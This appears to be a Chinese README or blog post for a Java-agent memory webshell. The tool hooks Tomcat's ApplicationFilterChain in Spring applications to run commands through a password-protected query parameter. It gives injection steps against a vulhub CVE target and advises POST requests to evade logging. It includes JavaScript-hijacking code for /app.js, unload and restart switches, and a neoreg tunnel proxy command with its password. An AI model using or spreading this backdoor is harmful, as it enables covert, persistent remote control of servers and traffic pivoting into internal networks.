由于本人是条懒狗,具体的使用说明请以/?password=stdout&model=help为准。(主要是我改了代码之后不想动前面的markdown。。。)
和tomcat内存马的原理类似,也是劫持了一个filter,这里修改的是org.apache.catalina.core.ApplicationFilterChain$internalDoFilter
至少应该先访问一次,确保
org.apache.catalina.core.ApplicationFilterChain被加载
-
将三个jar包放入靶机中,这里使用了
vulhub/spring/CVE-2018-1273作为例子 -
找到目标进程的pid(在docker中的pid通常为1)
-
执行
java -jar javaAgent.jar [pid] "./mem.jar"命令 -
注入成功,访问任意路由(不存在的也行) 加上参数
?password=stdout&model=exec&cmd=[command]即可get请求容易被日志记录下来,采用post请求相对来说不容易被发现
查看一下注入之后的
/proc/self/maps可以看到两个jar包进入了内存
注入内存马之前
注入之后
由于是在filter层处理了用户请求,即使路由没有定义,也没有关系。
应hzgg的要求,加入新功能:静态页面劫持
本想着新建一条路由(在Controller层)去做,但是由于Spring的MVC结构,在没有templates的情况下不能直接渲染页面。而后听从建议,在Filter层就做好。
关键源代码如下
String uri = request.getRequestURI();
if (uri.equals("/app.js")) {
result += com.shiroha.springMem.SpringMemModels.readSource("1.js");
response.getWriter().write(result);
return;
}当访问目标的/app.js的时候,在filter层就会被响应,返回1.js的内容。
// 1.js
alert(1);示例效果:
需求增加:“既然你加载了这个agent,那要把卸载也做好啊”。
由于Java agent是注入到内存,并且修改了class,完全移除只有重启jar包这个方法(当然,也可能是我才疏学浅)。因此我想的解决方案是还原改写的方法。但是由于javassist编译的特殊性,完全还原是太不能做得到的。所以我换了个注入的函数doFilter,这个函数内容简单,还原方便,简直是不二选择。
效果演示
注入内存马之后:
使用?password=stdout&model=exit,暂时解除修改的数据。
再次执行命令就会失败:
使用?restart=restart再次启用修改:
再次可以执行命令:
这期间不会影响到业务。
增加了regeorg 代理,由于最新的regeorg使用了变形base64加密,所有的字段名和值都发生了变化,导致换密码很麻烦——需要把tunnel.jsp的代码分别复制到B64类和SpringProxy类中,相信聪明的你一定会改。
我的密码是stdout。
之后可能会去研究一下变种的过程,搞一个自动一点的出来。
使用python3 neoreg.py --url "http://target/?password=stdout&model=proxy" -k "stdout"即可。
效果示例:












